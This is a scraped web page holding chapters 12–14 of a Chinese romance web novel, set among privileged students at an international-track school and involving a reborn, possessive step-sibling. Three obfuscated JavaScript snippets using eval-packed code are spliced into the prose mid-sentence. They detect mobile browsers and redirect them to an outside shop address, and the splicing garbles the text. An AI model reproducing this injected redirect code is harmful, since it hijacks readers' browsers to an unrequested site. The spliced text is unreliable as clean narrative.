孟觉颤巍巍地抬起头,却撞进了一双平静的眼眸里。 他心里一怔,之前是他的错觉吗? 在对方抬眼的一瞬,陆知叙就将炙热的欲望藏进了眼底,他嗓音低哑:“没有。” 孟觉睫毛轻颤,轻轻地哦了一声。 关掉灯,萦绕在周围的奇怪氛围终于消失了。 孟觉拘谨地缩在床边,浑身僵硬,刻意和陆知叙保持着距离,连身体都不敢往旁边挪一下。 他放松呼吸,缓缓闭上眼睛。 半个小时后,他又睁开了眼睛。 根本睡不着。 这时,被窝里忽然有只温热的手探了过来,覆在他的手背上。 陆知叙低低的笑声在夜色里响起,几乎贴在他的耳边。 “哥哥躲什么,我又不会吃了你。” 12. 第 12 章 三号食堂。 国际部最贵最好吃的食堂。 国际部一共有三个食堂,一号食堂价格便宜味道一般,二号食堂价格稍贵味道也稍好,而三号食堂就是为孟觉这类人群准备的。 三号食堂的点餐模式也与其余两个食堂不同,这里有单独的小包间,可单独点菜。 国际部为了保证学生的饮食健康问题,让家长们放心,食堂里的厨子都是高薪聘请来的,擅长的菜系也不尽相同。 相比西餐,孟觉更钟爱中餐。 他正要伸手去点今天餐单上的蒜蓉虾,就被陆知叙抢先了一步。 “你也喜欢吃这个吗?” 他眉梢带笑,语气里满是找到知己的惊讶。 另一边,许淮看着对面靠在一起点单的两人,瞪大了眼睛。 视线落在陆知叙头上包扎的纱布上,眼底的疑惑一闪而过,又很快恢复原状。 孟觉问完陆知叙,抬头却看见许淮还没点好。 他微微眯眼,身体前倾,问道:“你今天怎么点这么慢?” 以往都是许淮先点完等他,今天太阳从西边出来了? 他干脆凑过去看,平板上只点了两个菜,其中一个菜里面还有许淮特别讨厌的香菜。 “???” “你怎么了?” 孟觉直直地望着他,眼里满是担忧。 迎着他的目光,许淮重新点了两道菜,提交,下单。 然后孟觉就被拉出去了。 小包间外。 孟觉双臂交叉于胸前:“你干嘛?” 许淮望着他防备的样子,破防的声音有点大:“你干嘛?你刚刚和陆知叙靠那么近也没见你防备他啊?我们可是穿一条裤子长大的!” 孟觉连忙拽住他的胳膊,示意他小声点,周围已经有人在看他们了。 “你突然把我拽出来干什么?陆知叙一个人在里面。” 许淮瞪大眼睛,不可置信道:“他十八岁了,不是八岁,一个人在里面还会出事啊!” 孟觉耷拉着眉眼,顶着对方不爽的目光,慢吞吞道:“可是他现在是病人。” 看着好友一直护着对方,许淮心梗了。 他重重哼了一声,把人堵住不给走。 “那你把这两天发生的所有事告诉我,不然——”他眯了眯眼,威胁道,“我就告诉延哥你这两天都在野男人家睡。” “…………” “你别乱说,我和陆知叙不是你想的那样。” 孟觉脸颊一红,把人拉到更隐蔽的角落,低声说着这两天的事情。 听完后,许淮两眼一抹黑,指尖都在颤抖。 “发生这么大的事,你怎么能不告诉我?!万一你出了什么事,延哥会把我砍成臊子的!” 孟觉看着他苍白的脸色,后知后觉发现自己这种行为确实有些莽撞。 他敛着眸,嘴角抿成一条直线:“对不起嘛,我下次肯定不会隐瞒了!” “还有下次?!” 许淮和孟觉从小一起长大,看着他从一个奶团子长成根正苗红的少年,知道他有多心软多善良。 他感觉自己的心态已逐渐变成老母亲的心态了,天天操心,再有没有美妙的心情了。 可现在不是心软的时候啊! 谁知道陆知叙是不是装成这副可怜的模样,故意博孟觉的同情。 他把自己的担忧告诉孟觉。 孟觉一顿,抬眼道:“不会的,你多了解一下就知道了。” 是吗? 许淮半信半疑地进了包间,不经意间扫过坐在椅子上一动未动的男生。 或许是后脑勺上包扎的纱布,又或许是帮孟觉挡了一下,看久了,似乎是乖的。 “哥哥呢?” 骤然响起的声音让许淮一愣,然后才反应过来陆知叙说的啥。 只是……他真的叫孟觉哥哥啊? 好离谱。 许淮从未想过自己会看见陆知叙的另一面。 像被鬼上身了一样。 和学校里传闻的完全不一样。 他索然无味地喝着饮料,悄悄用余光瞥着对面的人。 孟觉从卫生间回来后,服务员就把菜上了。 此刻他正享受着某人的剥虾服务,不用自己剥虾的感觉真好。 当他想来展示一下自己的剥虾功底时,盘子空了,所有虾肉整整齐齐放在小碗里。 看着陆知叙献宝似的把小碗往他面前一推,孟觉不好意思地抿了抿唇,从碗里拨出一小半:“我吃这些就够了。” 陆知叙摇了摇头,笑道:“哥哥你忘了吗?我现在不能吃。” 孟觉视线落在他的后脑勺上,眼睫轻颤,轻轻地哦了一声,握着筷子的手指微微收紧。 许淮坐在对面将两人的神情尽收眼底,表情凝重,仰头四十五度看着天花板。 不能看,一看就心梗。 你们到底有没有在好好上学啊!!! 忽然他想起那天孟觉被陆知叙半路劫走时,对方看他的眼神,恶劣至极啊。 他请问,他哪里乖了??? 陆知叙一定有所隐瞒,他要把他的破绽找出来,摊开给孟觉看。 因此回教学楼的路上,许淮走在两人后面,正大光明地观察起陆知叙。 从食堂到教学楼走路二十分钟,到了班级门口,许淮都没发现一丝一毫的不对劲,一定是陆知叙藏得太深了! “许淮?” 孟觉让陆知叙先回教室,伸手拽住往他们班里走的许淮。 力气不大,但足以让许淮回过神。 “嗯?怎么了?” 他神情迷茫地望着孟觉。 “我还想问你怎么了呢?”孟觉把人拉出教室,皱眉问道,“你今天怎么心不在焉的?” 许淮装傻:“马上要高考了,我有点紧张。” 孟觉狐疑地看着他:“你真的没别的事瞒我?” 许淮笑嘻嘻道:“没有,就是——” 他脸上的笑淡了几分,低声道:“你还记得你的分手计划吗?” 在好友的目光下,孟觉低下头,缓慢地眨了眨眼睛,微微勾起唇角:“我记得,等他的脑震荡稍微恢复一点,我就会和他说。” “许淮,他现在需要我。” 许淮看了他好几眼,确保他说得是真的,才微微松了口气,但又害怕孟觉在不知不觉中陷进去。 可能孟觉自己都没有发现,在说陆知叙需要他的时候,他的眼睛都多亮多灼热。 对上这双眼睛,他甚至有种寒毛直竖的感觉。 教室里。 趴在桌上的陆知叙,眼睫微垂,侧着头看着走廊上的两人。 望着两人说悄悄话似的靠得那么近,他不满地轻啧一声,眼神阴郁。 由于两人背对着他,他也听不见两人在说什么,整个人就更不爽了。 坐在陆知叙前面的男生虽然不知道发生了什么,但那股阴冷仿佛要钻进他的骨头缝里,吓得他握住板凳往前挪了一大截,几乎整个人都贴在了桌边。 陆知叙被椅子拖拽的声音吵到,目光扫过去,不带半点温度。 “在看什么?” 耳侧突然响起孟觉的声音,他立刻扭过头,脸上的冷意早就消失不见。 他垂下手,悄悄勾住对方的手指,低声道:“哥哥怎么和他说那么长时间的话?” 孟觉望着陆知叙毛绒绒的头顶,心不在焉地回答。 “没有很长吧,才十分钟。” “是吗?可是我觉得过了好久好久。”陆知叙晃了晃勾在一起的手指,忽然抬头,用手指了指旁边的座位,“哥哥可以和我坐一起吗?不然我上课头疼了都没有人安慰。” 说到这个,孟觉就十分郁闷。 今天早上出门时,他特意把医嘱又念了一遍,但陆知叙我行我素非要和他一起来上学。 医生明明说脑震荡要多休息少用脑,而且班主任也不会不给他批假。 但就是死皮赖脸跟来了。 孟觉想了想,低头道:“我考虑一下。” 如果是熟悉他的人在旁,就知道他说的考虑一下就是变相答应了。 下午第一节课前,班主任办公室里。 黄姜看着面前说要调换位置的男生,又问了一遍:“你确定要坐在陆知叙旁边?” 孟觉:“是的,老师。” 黄姜脸上的表情变换了好几种,他们班的座位很少变动,因为大部分学生会去国外上大学,只有少部分人会参加国内的高考。 来主动调换座位无外乎两种情况。 一,想和关系好的坐一起; 二,想和喜欢的人坐一起。 她抬头看向长相精致的少年,眼里闪过一道复杂的情绪,也没多问,答应了他。 孟觉眼睛微弯:“谢谢老师。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497972|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到班级。 孟觉自己收拾好东西,一趟一趟搬到了陆知叙旁边的空位上。 于是陆知叙从卫生间回来后,就看见三年来一直空的位置上多了一个人。 他看着整理课桌的孟觉,能清晰感觉到自己心脏的剧烈跳动。 扑通扑通,仿佛要冲破他的胸腔。 察觉到不远处的视线,孟觉抬头看见站在后门不动的陆知叙,头顶缓缓冒出一个问号。 他刚要开口,上课铃响了。 这节是数学课,数学老师来得很迅速。 晦涩难懂的公式听得孟觉直犯困,眼皮不受控制地往下坠。 动作幅度很小,但耐不住有人时刻在看他。 陆知叙看似在听老师说那些他已经会了的题,实则一直在用余光瞥孟觉。 上辈子一直是对方欺负他,他不想闹得家庭关系很僵,所以自始至终都在忍耐。 可迎来的却是一次又一次的欺辱。 看到对方死去的那一刻,他的心里不是爽快,而是无尽的空虚。 那么恨的一个人,怎么能轻易地死掉呢。 这种情绪不知不觉让他变得矛盾,一边极度厌恶孟觉,一边又下意识被他吸引。 但……又如何呢。 他相信回到孟家后,哥哥会变成他记忆里熟悉的模样。 那么讨人厌,那么令人恶心。 陆知叙放下手里的笔,听着耳侧浅浅的呼吸声,视线落在男生挺直的鼻梁上,还有那张嘴唇上。 湿润的唇肉挤在一起,微微嘟起,像是在等着人去采撷。 他眼睛微眯,喉结上下滚动。 孟觉长睫困顿地扑闪着,耳边数学老师的公鸭嗓仿佛离他越来越远,直至完全听不见。 砰—— 是额头砸在掌心里的沉闷响声。 在孟觉额头要砸到桌上时,陆知叙伸出了手,男生温热的呼吸喷在他掌心,激起一阵颤栗。 尽管如此,孟觉还是砸懵了。 而且额头有点疼。 孟觉眼泪汪汪地睁开眼睛,摸了摸自己的额头,扭头看向陆知叙。 因为疼痛沁出的眼泪沾在睫毛上,水光潋滟,随着他眨动的动作,簌簌地往下掉。 陆知叙喉结重重一滚,莫名口渴。 就在这时,台上的数学老师抬起头,目光在教室里巡视了一遍。 “坐在最后一排戴眼镜的男生起来回答一下这道题的答案。” 全班所有人的视线都往后瞥,想看看是哪个倒霉蛋被选中了。 孟觉边揉着额头边随大流去看是哪个倒霉蛋被数学老师抽中了。 他扭头看了看最后一排,眼底微微疑惑,没有人戴着眼镜啊。 直到他发现落在自己身上的目光越来越多。 他抬起手,指尖摸到鼻梁上的眼镜,神情一顿。 孟觉本身没有视力问题,这只是他今天突发奇想的一个穿搭。 “……” 这么倒霉的吗? 刚刚他完全没有听啊。 孟觉眨了眨眼睛,然后在全班同学和数学老师的注视下,镇定自如地摘下黑框眼镜,推到了陆知叙的桌子上。 全班一片寂静。 陆知叙目光一顿,嘴角带着一丝隐秘的笑意,拾起了黑框眼镜。 戴上,站起来。 “21。” 他语气冷淡地回答了黑板上的问题。 台上的数学老师自然国际部的一些“潜规则”,没有为难孟觉,让陆知叙坐下后,就继续讲课。 孟觉默默松了口气,转头看向戴着他眼镜的陆知叙。 戴上眼镜的陆知叙多了分温文尔雅的气质,但举手投足中又会不经意露出本身的冷冽,那张脸好像也更吸引人了。 孟觉耳尖微微发热,克制地移开了视线。 陆知叙太会长了,完全长在他审美上。 看时间长点,就心动。 啪嗒—— 黑框眼镜被骨节分明的手指放在课桌中间,陆知叙压低的嗓音淡淡响起。 “哥哥,眼镜。” 孟觉舔了舔嘴唇:“送给你了。” 陆知叙勾着镜腿的指尖一顿,扭头看向身侧。 不知想到了什么,他从喉咙里发出一声轻笑:“谢谢哥哥。” 既然是哥哥送的,那他就收下了。 他一定会好好收藏的。 13. 第 13 章 叮铃铃—— 放学铃声响起,老师一走,一些人就像窜天猴一样窜出了教室。 孟觉坐在后排,第一次有这种直观的感受。 有些跑得太快,还会带起一阵风。 身侧陆知叙不紧不慢地收拾着书包,他看着对方拿起那一沓试卷面不改色地塞进包里,瞬间肃然起敬。 同时他很也好奇,明明已经报送名牌大学了,为什么还要留在学校里。 如果是他,可能已经玩得不知天地为何物了。 他的视线里带着一丝疑惑,但目光渐渐移到了那双骨节分明的手上。 指节修长匀称,骨节不突出,指甲盖也是健康的淡粉色,还有小小的月牙。 这是孟觉见过的最符合他审美的一双手。 他抬起自己的手,也很修长,但没有陆知叙的指节长,也没有他的手大。 他看得专注,没发现旁边的人已经收拾好东西了。 陆知叙见他在看自己的手,眉头微微挑起,伸手一把抓住那双漂亮柔软的手:“哥哥,走了。” 孟觉就这样顺势被他拉起来,乖乖地跟在他身后走出了教室。 他低头看向牵在一起的手,在陆知叙的衬托下,他的手莫名娇小了很多。 手背上丝丝缕缕传来另一个人的体温,接触的那块皮肤也渐渐开始发热、发烫。 他连忙把手收回来,塞进校服口袋里,仿佛这样就能降温。 陆知叙走着走着突然感觉手心空荡荡的,转头一看,对方走在他后面,隔着一步的距离。 他轻笑道:“哥哥怎么离我那么远?” 孟觉抿了抿唇,双腿一迈,走到了他旁边。 “刚刚鞋带松了。” 说完后,他下意识看了眼鞋子。 幸好今天穿的是有鞋带的鞋子,不然就太尴尬了。 陆知叙眼尖,一眼就看见对方红了的耳朵,唇角微勾,眼底划过一道恶劣的笑意。 “可是……哥哥我现在头疼,你能不能扶着我?” 一听他头疼,孟觉急忙抬头去看他的后脑勺,洁白的纱布上没有渗透的血,然后视线才落在男生脸上。 陆知叙低垂着眼,眉头微微皱起,唇色苍白,一副疼狠了的模样。 “要不要去医院?” 孟觉小心翼翼地扶着他的胳膊,雪白的小脸紧绷着,湿软的唇肉紧紧抿在一起,露出很严肃的表情。 “不用。” 陆知叙感受到对方对他的紧张,瞳孔放大,垂在腿侧的另一只手不受控制地轻轻发颤。 闭眼,呼吸。 他要很克制才能让自己的表情看上去不那么疯癫。 从教室到校门口这段距离,孟觉不敢放松一点,目光就没从对方身上离开过。 但从别的同学的视角来看,只需用一个词语来表达他们此时的心情。 卧槽! 国际部由于高考压力不大,某届的学长学姐搞出个校园内部论坛,供所有人娱乐。 此时,论坛上就冒出一个帖子。 帖主匿名基础,帖子内容就不基础。 【三张高清live大图】 图片上,两位主角靠得非常近,近到其中某位主角都要窝在另一位主角的怀里了。 这个帖子一发出来,响应者无数,如雨后的春笋一个个冒出了头。 【1楼:我也有图!!!】 【2楼:我们有救了!是现场怪!】 【3楼:这种什么话都不说哐哐放出几张图的人最狠了】 【4楼:哇哦!学神和他们班的小少爷什么时候关系这么亲密了?】 【5楼:好磕好磕!看背影都这么般配!!!】 【6楼:同楼上。】 【7楼:豹豹猫猫我出生了!!!】 【8楼:我是一班的,我有内部消息,私我扣1。】 【9楼:扣……扣你几哇……骗子滚!】 …… 【199楼:不是,各位,这么多层楼没一个人知道吗???】 【200楼:这不显而易见吗?我们国际部盛产什么?小情侣啊!】 【201楼:但学神那种性格能喜欢人?我的意思是他会喜欢上某个碳基生物?】 …… 【513楼:实锤了,就是谈了,我是知情人员,不用私我扣1】 【514楼:我只说一句话,你们就懂了——学神笑了】 【515楼:?】 【516楼:?!】 【517楼:?!!】 【518楼:?!!!】 【519楼:?!!!!】 【520楼:新婚快乐,封帖^-^】 论坛上发生的一切,孟觉和陆知叙都不知道。 一个从不看论坛,一个不知道有论坛。 孟觉扶着陆知叙走到校门口,当打算拐弯把他送到学区房时,前方传来一道熟悉的嗓音。 “孟孟。” 他猛地抬头,眼里划过一道惊讶。 是哥哥。 他心尖一颤,下意识转头看了眼陆知叙,那张脸上恢复了以往的冷淡。 孟觉也不知道自己想看到什么,他指尖紧紧揪着手里的袖子,眼神飘忽,支支吾吾道:“哥哥,你怎么来了?” 孟博延走到自家弟弟面前,视线扫过他手指揪住的地方,脸色微微凉了几分,但落在他身上时,眉眼冷意化开,嗓音低缓温和。 “你几天没回家了,哥哥来接你。” 孟觉抿了抿唇,暗自腹诽。 哥哥的语气怎么那么像在哄小孩啊,明明他都已经成年了。 他伸手拽了拽孟博延的衣服,轻声求道:“哥哥不要说了,给我留点面子嘛。” 孟博延嘴角微弯,看着他撒娇似的行为,说道:“好,哥哥不说了。” 话音落下,他抬手揉了揉孟觉的头发。 而身后的陆知叙从孟觉指尖松开后,就死死垂着脑袋,微敛的眼底翻涌着浓烈的占有欲,唇角紧绷下垂,整张脸覆着一层阴沉沉的冷色。 哥哥一点都不乖。 为什么要把手从他的身上离开呢? 为什么要拽着那个讨厌鬼的衣服呢? 脏死了。 上辈子,陆知叙经常见不到孟博延的面,对方虽是和他有血缘关系的哥哥,但他们的关系很差,重活一世,他依旧讨厌对方。 但他暂时……不能被发现。 陆知叙敛着眸,眼皮猛地一跳,死死压住眼底的厌恶,上次在医院差点露馅了。 这个男人的敏锐力太强了。 被自家弟弟推开手的孟博延站直身体,目光淡淡扫过陆知叙,什么话都没说。 随后拉住孟觉的手,把他往车上带。 “诶?!”孟觉连忙让他哥停下,快速眨了眨眼睛,“哥,你等一下。” 孟博延眼睛微眯:“卖萌也没用。” “……” 真不知道那些人为什么会怕他哥。 “就一下下。” 孟觉用手指比出一个很小很小的距离。 孟博延拗不过他,不满道:“一分钟,我在车上等你。” 看着男人真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497973|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的转身后,孟觉才往陆知叙那边走去。 他拨弄着校服扣子,别过头,害怕对上陆知叙的眼睛。 “我……我可能不能送你回去了,你自己小心一点,到家给我发信息。” 说完后,他屏住呼吸,静静等着。 半晌,身前的男生才发出声音:“好。” 孟觉依旧没敢看陆知叙现在是什么神情,他微蜷着身体,步伐凌乱地走到车子旁。 他在害怕。 他就像个小偷,在偷用陆知叙的人生。 车子启动后,孟觉下意识看向后视镜,那道身影越来越小,直到变成了一个小黑点。 “在看什么?” 孟博延转了下方向盘,把车停在斑马线后。 孟觉缩了缩脑袋:“随便看看。” 见他脸色还是有点白,孟博延把车窗升上来,嘴角微微翘起:“孟孟。” “嗯?” 孟觉抬眼看过去。 “爸妈晚上到家。” 孟觉眼底的阴霾迅速褪去,眼睛亮亮的,忍不住笑出了声,但顾及哥哥还在开车,只能坐在副驾驶上自娱自乐,脸上的笑容却越来越大。 他:“爸爸妈妈怎么没有和我说啊?” 孟博延哼笑道:“刚刚我看你眼珠子都落在人家身上了。” 孟觉哎呀了一声,哼哼道:“他受伤了嘛,黄老师经常说同学之间要互帮互助。” 话音刚落,他就听见对方轻嗤了一声,也不知道是信了还是没信。 “其实他人挺好的……” 孟觉说这话本想给陆知叙博点亲哥的好感,可刚说完,男人的脸色更难看了。 他识趣地闭上了嘴。 另一边。 陆知叙回到家时,没有立刻给孟觉发消息。 他坐在沙发上,定定地看着茶几上的黄色小狗。 但仔细看会发现,这只黄色小狗背后的缝合线被拆开过,右边耳朵上也有一小块污渍。 过了许久,陆知叙看了时间,距离孟觉坐车回家,已经过了半个小时。 他看着面前的黄色小狗微微勾起唇角,嗓音冰冷:“讨厌鬼还是那么讨厌。” 又过了十分钟,手机上依旧没有任何动静。 看来哥哥也不是很关心他有没有安然无恙地到家。 他低着头,喃喃自语:“这次的伤还是太轻了呢。” 咚咚咚—— 门外响起了敲门声。 陆知叙眼里迅速闪过一道光,立刻站了起来,抬脚时却忽然顿住,不禁自嘲一笑。 他刚刚是在期待什么? 期待门外是他现在想见的人吗? 他以正常的速度走过去,打开门。 门外站着一个西装革履的男人,戴着金丝边眼镜,见他开门后,温和笑道:“二少爷,这是董事长和夫人从M国给你带回来的礼物。” 陆知叙看着递过来的豪华包装盒,敛着眸不知道在想什么。 然后一言不发地接了过来,说了谢谢,便送客了。 林秘是少数知道这位男生是孟家二少爷的人,他擦了擦额头上不存在的汗,忍不住扶额,二少爷的压迫感和大少爷不相上下,还是小少爷最亲切。 他还记得第一次见到这位二少爷时,对方好似假模假样地震惊了一下,然后就没了。 真的没了。 要不是董事长和夫人主动提起话题,那顿饭可列入他这三十几年来最尴尬的一顿饭。 不仅如此,这位二少爷还让董事长和夫人暂时不要公开他的身份,也不要来见他。 真奇怪。 14. 第 14 章 “妈妈!” 孟觉听到门口有车子发动机的声音,连忙跑出去,对着刚下车的窦燕挥手大喊。 “孟孟,跑慢点。” 孟博延跟在后面,嘴上说着这话,眼睛却弯了起来。 “宝贝跑慢点,”窦燕一下子抱住朝他飞奔过来的孟觉,揉了揉他的后脑勺,“这么想妈妈吗?” 孟觉扑在妈妈怀里,重重地点了点头,嗓音闷闷地说道:“我已经大半个月没看见你们了。” “哎哟,是妈妈的错,爸爸妈妈下次再出差就把你一起打包带走,好不好?” 窦燕说笑着,却感受到肩膀上的湿润,眼睛里快速闪过一道晶莹的水光。 她轻轻拍着怀里的男生,垂着眼睫在对方头顶落下一个吻。 “妈妈也很想宝贝,爸爸也很想宝贝。” 孟觉把头埋在妈妈的肩膀上,肩膀一耸一耸的,眼泪不要钱地直往下掉。 其实他不想哭了,但控制不住自己的泪腺。 在做了那场梦,知道自己的来处时,他心里一直很慌,只能拼命忙碌起来,让大脑被其他东西填满。 看见陪自己长大的妈妈,他忽然有点绷不住了。 孟博延站在旁边,轻叹了口气。 窦燕看了他一眼,张开胳膊,眉头微微挑起:“你也要抱抱吗?” 孟博延露出一个嫌弃的表情:“我不用。” 他平时出差的次数比他爸妈多多了,早就习惯了长时间的分别,而且他的性格使然,并不能让他像孟觉这样肆意地表达自己的情感。 不远处,华叔站在门口,静静地不打扰太太一家的团聚。 孟觉哭了好一会,嗓子都有些哑了。 他吸了吸鼻子,刚离开妈妈的肩膀,后领就被抓住了。 哥哥欠揍的声音从后面传来:“快点把眼泪鼻涕擦擦,都成小花猫了。” 一张纸巾糊在他的脸上,孟觉被完全压制住,两条胳膊扑棱扑棱也反抗不了。 于是他选择求助场外。 “妈妈!你看,哥哥在家老是欺负我!” 窦燕眉眼带笑地放下正偷拍的手机,假装去打孟博延,顺便把被困住的小哭包放出来。 “好了,妈妈已经打过哥哥了。” 孟觉转头对孟博延做了个鬼脸,然后拉着窦燕往家里跑。 他之前注意到妈妈穿的是平底鞋,但跑的也不快,是孟博延随随便便就能追上来的。 孟大总裁轻嗤一笑,把手里湿掉的纸巾扔进垃圾桶,慢慢悠悠地走了过去。 站在门口的华叔接过窦燕的包,脸上的褶子都挤在了一起,笑呵呵道:“您和先生终于回来了,小少爷特别想你们呐。” 窦燕眉眼微弯:“这段时间谢谢你照顾孟孟了。” 孟觉也点头说道:“华叔辛苦了。” 从他有记忆开始,华叔就在他们家当管家,事无巨细,从不出纰漏。 每次家里人都不在的时候,也都是华叔陪着他的,他早就把华叔当成自己的家人。 无数个孤独的夜晚,如果没有华叔,可能就不会有现在这么鲜活的孟觉。 所以窦燕和丈夫都很感谢对方。 华叔听着两位主人对自己的感谢,惶恐地微弯着腰,连忙说道:“夫人和小少爷都言重了,夫人和先生在我最困难的时候给予了帮助,是我一辈子的恩人,小少爷这么帅气可爱,还会疼爱人,是我有福气。” 孟觉生性感性,眨巴着眼睛,看上去又要哭了。 刚进门的孟博延伸手捏了捏眉头,提高音量道:“妈,爸呢?” 正酝酿好情绪要掉眼泪的孟觉闻言一愣,嘴巴微张:“对哦,妈妈,爸爸呢?你把他丢了吗?” 窦燕扬起笑容:“他去公司了,等会回来陪你们吃晚饭。” 孟觉轻轻哦了一声,看见妈妈太激动了,差点忘记了还有个爸爸。 窦燕看他的神情就知道他在想什么,笑道:“要是被你爸知道,他今晚保准抱着我哭。” 孟觉被说得脸颊一红,还没做这场梦之前,他一直以为自己的泪失禁毛病是遗传他爸爸的,因为他爸爸很爱哭。 尽管每次都是表面一本正经,但回到卧室就会抱着妈妈嘤嘤嘤,有次还被孟觉撞见了,之后他就和自己的泪失禁和解了。 经过这么多年的脱敏,其实他的泪失禁已经没有那么严重了,但这段时间仿佛又回到当初,只要有一个戳到他的点,就会立刻流眼泪。 现在,他的眼睛都是通红的,眼皮也耷拉着。 他伸手碰了碰肿起来的眼皮,轻轻嘶了一声。 孟博延拍掉他的手,把华叔拿来的毛巾重新盖好在他的脸上,低声道:“不许再拿掉,好好敷。” “哦。”孟觉乖乖靠在沙发上,闭上眼睛仰着头,忽然,他猛地睁开眼,拽掉毛巾,转头对上他哥凉凉的视线,下意识缩了缩脖子。 但现在他有更重要的事情。 他拿出手机,死死盯着屏保上的19:05,眼前一黑。 完蛋了,见到妈妈太开心了,把陆知叙给忘了。 而且他手机上也没有收到对方的消息,不会出什么事了吧。 他抓着毛巾,在他哥的死亡视线下,拿着手机跑到了一楼的落地窗前。 等拨了电话,他坐在躺椅上,向他哥挥了挥毛巾,乖乖地盖在了眼睛上。 孟博延这才收回了视线,揉了揉眉头,一脸无奈。 刚从楼上下来的窦燕见他这副模样,笑道:“怎么了?” 孟博延耸了耸肩膀,用一种阴阳怪气的语气说道:“弟大不中留。” 窦燕眼里透出疑惑,扭头看见孟觉抱着手机打电话才明白过来。 “你自己不想谈恋爱,还不允许孟孟谈吗?只要那人是真心的,我们家就欢迎他。” 她说完,却发现自家大儿子用一种奇怪的眼神看她。 “你——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497974|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妈,我的意思是孟孟现在朋友多了,没说他谈恋爱。”孟博延眼睛微眯,放松地倚靠在沙发边,嗓音慵懒,“你说孟孟就说孟孟,把我带上干嘛?” 听到小儿子没谈恋爱,窦燕心里悄悄松了口气,复杂的目光落在那道单薄的身影上。 那件事,她和丈夫都还没想好要怎么和他说,她从小养到大的宝贝一定会很伤心。 孟博延望着他妈泛红的眼眶,就知道她又在想那件事。 他余光扫过那边打电话的孟觉,低声道:“妈,也许事情没有那么糟糕,您也别太焦虑。” 窦燕叹了口气,眉宇间透着散不去的忧虑,嘴角抿成一条平直的线。 “我知道。”她拍了拍大儿子的肩膀,看着他黝黑的眼睛道,“你要记住孟孟永远是你的弟弟。” 孟博延哂笑:“我知道的,妈。” 另一边。 孟觉敷着毛巾,打着电话,丝毫没发现妈妈和哥哥背着他在说悄悄话。 他侧着身体,努力把手机贴在耳边,嗓音很轻,透着一丝心虚。 “陆知叙,你到家了吗?” 虽然大概率早就到家了,但他还是要听对方亲口说。 电话那头的陆知叙沉默了许久,从话筒里传出一道沙哑的轻笑:“哥哥现在才来关心我吗?” 孟觉抿了抿唇,耳尖微红,声音变得更轻:“我爸妈回来了,不是故意把你给忘了。” 此时,在黑灯瞎火的学区房里,陆知叙坐在地板上,修长的指尖轻轻敲着桌面,发出哒哒哒的响声。 在这种环境下,有种莫名的惊悚感。 他其实很想问你的父母是不是比我重要,但他也知道这个问题的答案是什么。 一定会是他不喜欢的那个答案。 “嗯,没关系。” 男生富有磁性的嗓音在夜色里显得更寂寥,低低沉沉的。 孟觉瞬间共情了这种孤独感。 他睫毛扑闪扑闪个不停,转了转眼珠,当睫毛停住时,他悄悄掀开毛巾的一角。 左边,没人。 右边,没人。 中间,也没人。 他这才压低嗓音,单手捂住手机话筒,偷偷摸摸道:“陆知叙,我们晚上打视频吧。” 听筒里又是一阵诡异的安静。 孟觉侧着身子,小心翼翼地喊着陆知叙的名字。 半晌,就在他以为手机坏掉时,听筒里传出了男生沙哑的声音。 “好,但是——” 黄色小狗不知何时被陆知叙抱在怀里,他指尖慢条斯理地梳理着毛,明知故问道:“哥哥为什么想和我打视频?” 孟觉指尖微蜷,声音细若蚊呐:“我想陪你。” 现在他还霸占着他的爸爸妈妈,那他就以哥哥的身份先陪着他。 “可以吗?” 只听手机里传出啪的一声,然后才响起陆知叙的声音:“好啊,我会洗好澡在床上等哥哥的。”